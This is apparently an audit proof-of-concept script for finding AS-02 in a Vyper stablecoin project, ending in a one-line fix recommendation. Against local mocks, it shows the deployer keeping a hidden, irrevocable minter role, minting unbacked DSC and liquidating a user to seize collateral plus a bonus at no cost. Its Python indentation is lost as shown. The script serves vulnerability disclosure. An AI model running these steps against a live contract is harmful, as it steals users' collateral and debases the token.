"""
PoC AS-02: decentralized_stable_coin.vy exports `ow.transfer_ownership`
(snekmate ownable) instead of `erc20.transfer_ownership`, so the deployer keeps
the `is_minter` role granted by erc20.__init__ after ownership is handed to the
engine. The role cannot be revoked afterwards and is not exposed in the ABI.
Steps
0. deploy + the intended wiring (script/deploy_dsc_engine.py:25-26):
dsc.set_minter(engine, True); dsc.transfer_ownership(engine)
1. baseline: an ordinary EOA cannot mint; the engine path is collateral-gated
2. the deployer still mints unbacked DSC with zero collateral, outside engine accounting
3. the role is irrevocable and not in the ABI
4. free DSC funds a liquidation: the deployer seizes collateral + 10% bonus at
zero cost and leaves DSC totalSupply above the collateral the engine holds
5. fix contrast: the same source exporting erc20.transfer_ownership removes the role
Run (from the repo root): .venv/Scripts/python poc/poc_AS-02.py
"""
import subprocess
import sys
if not sys.flags.utf8_mode:
sys.exit(subprocess.call([sys.executable, "-X", "utf8", *sys.argv]))
import boa
from eth_utils import keccak
ENGINE = "src/dsc_engine.vy"
DSC_SRC = "src/decentralized_stable_coin.vy"
MOCK_TOKEN = "src/mocks/mock_token.vy"
MOCK_FEED = "src/mocks/MockV3Aggregator.vy"
E18 = 10**18
ETH_PRICE = 2_000 * 10**8
BTC_PRICE = 100_000 * 10**8
def usd(x):
return x / E18
def is_minter(token, who):
"""Read the (non-exported) erc20.is_minter[who] straight from storage.
Vyper HashMap slot = keccak256(slot ++ key); the base slot comes from the
compiler's storage layout, not a hard-coded number.
"""
base = token.compiler_data.storage_layout["storage_layout"]["erc20"]["is_minter"]["slot"]
key = bytes.fromhex(str(who)[2:]).rjust(32, b"\0")
slot = int.from_bytes(keccak(base.to_bytes(32, "big") + key), "big")
return boa.env.evm.get_storage(token.address, slot) == 1
def fn_names(c):
return {f["name"] for f in c.abi if f.get("type") == "function"}
print("== 0. deploy and wire exactly like script/deploy_dsc_engine.py ==")
deployer = boa.env.eoa
dsc = boa.load(DSC_SRC)
weth = boa.load(MOCK_TOKEN)
wbtc = boa.load(MOCK_TOKEN)
eth_feed = boa.load(MOCK_FEED, 8, ETH_PRICE)
btc_feed = boa.load(MOCK_FEED, 8, BTC_PRICE)
engine = boa.load(ENGINE, [wbtc.address, weth.address], [btc_feed.address, eth_feed.address], dsc.address)
assert dsc.owner() == deployer
assert is_minter(dsc, deployer), "erc20.__init__ grants the deployer the minter role"
assert not is_minter(dsc, engine.address)
print(f"pre-wiring : owner=deployer, is_minter[deployer]={is_minter(dsc, deployer)}")
dsc.set_minter(engine.address, True)
dsc.transfer_ownership(engine.address)
assert dsc.owner() == engine.address
assert is_minter(dsc, engine.address)
assert is_minter(dsc, deployer), "BUG: ownable.transfer_ownership left the deployer's minter flag set"
print(f"post-wiring: owner=engine, is_minter[engine]={is_minter(dsc, engine.address)}, "
f"is_minter[deployer]={is_minter(dsc, deployer)} <-- still a minter")
print("== 1. baseline: only minters can mint; the engine path is collateral-gated ==")
rando = boa.env.generate_address("rando")
with boa.env.prank(rando):
with boa.reverts("erc20: access is denied"):
dsc.mint(rando, 1)
with boa.reverts("DSCEngine__BreaksHealthFactor"):
engine.mint_dsc(1 * E18)
print("random EOA: dsc.mint reverts 'erc20: access is denied'; engine.mint_dsc without collateral reverts")
alice = boa.env.generate_address("alice")
with boa.env.prank(alice):
weth.mint_amount(10 * E18)
weth.approve(engine.address, 10 * E18)
engine.deposit_collateral_and_mint_dsc(weth.address, 10 * E18, 10_000 * E18)
assert dsc.totalSupply() == 10_000 * E18
assert engine.user_to_dsc_minted(alice) == 10_000 * E18
print(f"alice: 10 WETH ($20,000) deposited, 10,000 DSC minted, HF={engine.health_factor(alice)}")
print("== 2. deployer mints unbacked DSC with no collateral and no engine debt ==")
attacker = boa.env.generate_address("attacker_wallet")
BIG = 1_000_000 * E18
supply_before = dsc.totalSupply()
dsc.mint(attacker, BIG)
assert dsc.balanceOf(attacker) == BIG
assert dsc.totalSupply() == supply_before + BIG
assert engine.get_account_information(deployer) == (0, 0)
assert engine.get_account_information(attacker) == (0, 0)
tracked_debt = engine.user_to_dsc_minted(alice)
collateral_usd = engine.get_account_collateral_value(alice)
print(f"deployer minted {usd(BIG):,.0f} DSC to attacker_wallet; deployer debt/collateral in engine = (0, 0)")
print(f"totalSupply={usd(dsc.totalSupply()):,.0f} DSC vs engine-tracked debt={usd(tracked_debt):,.0f} "
f"vs collateral=${usd(collateral_usd):,.0f}")
assert dsc.totalSupply() > tracked_debt
assert dsc.totalSupply() > collateral_usd
print("== 3. the role cannot be revoked and is invisible in the ABI ==")
with boa.reverts("ownable: caller is not the owner"):
dsc.set_minter(deployer, False)
with boa.reverts("ownable: caller is not the owner"):
dsc.transfer_ownership(deployer)
dsc_fns = fn_names(dsc)
eng_fns = fn_names(engine)
assert "is_minter" not in dsc_fns and "renounce_ownership" not in dsc_fns
assert not ({"set_minter", "transfer_ownership", "renounce_ownership"} & eng_fns)
eng_src = open(ENGINE, encoding="utf-8").read()
assert "set_minter" not in eng_src and "transfer_ownership" not in eng_src
print(f"DSC ABI: {sorted(dsc_fns)}")
print("DSC ABI has no is_minter / renounce_ownership; engine (the owner) has no set_minter/"
"transfer_ownership code path -> deployer's role is frozen in place")
with boa.env.anchor():
dsc2 = boa.load(DSC_SRC)
with boa.reverts("erc20: minter is owner address"):
dsc2.set_minter(deployer, False)
print("fresh DSC: owner set_minter(self, False) reverts 'erc20: minter is owner address'")
assert is_minter(dsc, deployer)
print("== 4. free DSC funds a liquidation: collateral + 10% bonus at zero cost ==")
eth_feed.updateAnswer(1_800 * 10**8)
hf_start = engine.health_factor(alice)
assert hf_start == 9 * 10**17
print(f"ETH -> $1800, alice HF = {hf_start / E18}")
COVER = 10_000 * E18
deployer_weth_before = weth.balanceOf(deployer)
assert deployer_weth_before == 0
assert dsc.balanceOf(deployer) == 0
dsc.mint(deployer, COVER)
dsc.approve(engine.address, COVER)
engine.liquidate(weth.address, alice, COVER)
seized = weth.balanceOf(deployer)
expected_base = COVER * E18 // (1_800 * 10**8 * 10**10)
expected = expected_base + expected_base * 10 // 100
assert seized == expected == 6_111_111_111_111_111_110
seized_usd = engine.get_usd_value(weth.address, seized)
assert dsc.balanceOf(deployer) == 0
assert engine.get_account_information(deployer) == (0, 0)
print(f"deployer: paid 0 collateral, burned {usd(COVER):,.0f} self-minted DSC, received "
f"{seized / E18:.6f} WETH (${usd(seized_usd):,.2f})")
supply_ex_step2 = dsc.totalSupply() - BIG
engine_coll_usd = engine.get_usd_value(weth.address, weth.balanceOf(engine.address))
total_debt = engine.user_to_dsc_minted(alice) + engine.user_to_dsc_minted(deployer)
print(f"after: DSC supply (excl. step 2) = {usd(supply_ex_step2):,.0f}, engine-tracked debt = "
f"{usd(total_debt):,.0f}, engine collateral = ${usd(engine_coll_usd):,.2f}")
assert supply_ex_step2 == 10_000 * E18
assert total_debt == 0
assert engine_coll_usd < supply_ex_step2
print("== 5. fix: export erc20.transfer_ownership instead of ow.transfer_ownership ==")
fixed_src = open(DSC_SRC, encoding="utf-8").read()
assert " ow.transfer_ownership," in fixed_src
fixed_src = fixed_src.replace(" ow.transfer_ownership,", " erc20.transfer_ownership,")
with boa.env.anchor():
dscf = boa.loads(fixed_src, name="dsc_fixed")
dscf.set_minter(engine.address, True)
dscf.transfer_ownership(engine.address)
assert dscf.owner() == engine.address
assert is_minter(dscf, engine.address)
assert not is_minter(dscf, deployer)
with boa.reverts("erc20: access is denied"):
dscf.mint(deployer, 1)
print("fixed DSC: same wiring -> is_minter[deployer]=False, deployer mint reverts 'erc20: access is denied'")
print("PASS: AS-02 proven - deployer keeps an irrevocable, ABI-invisible minter role and mints unbacked DSC")
Export snekmate's minter-aware ownership functions (as its own export comment instructs), and expose is_minter so the minter set can be checked.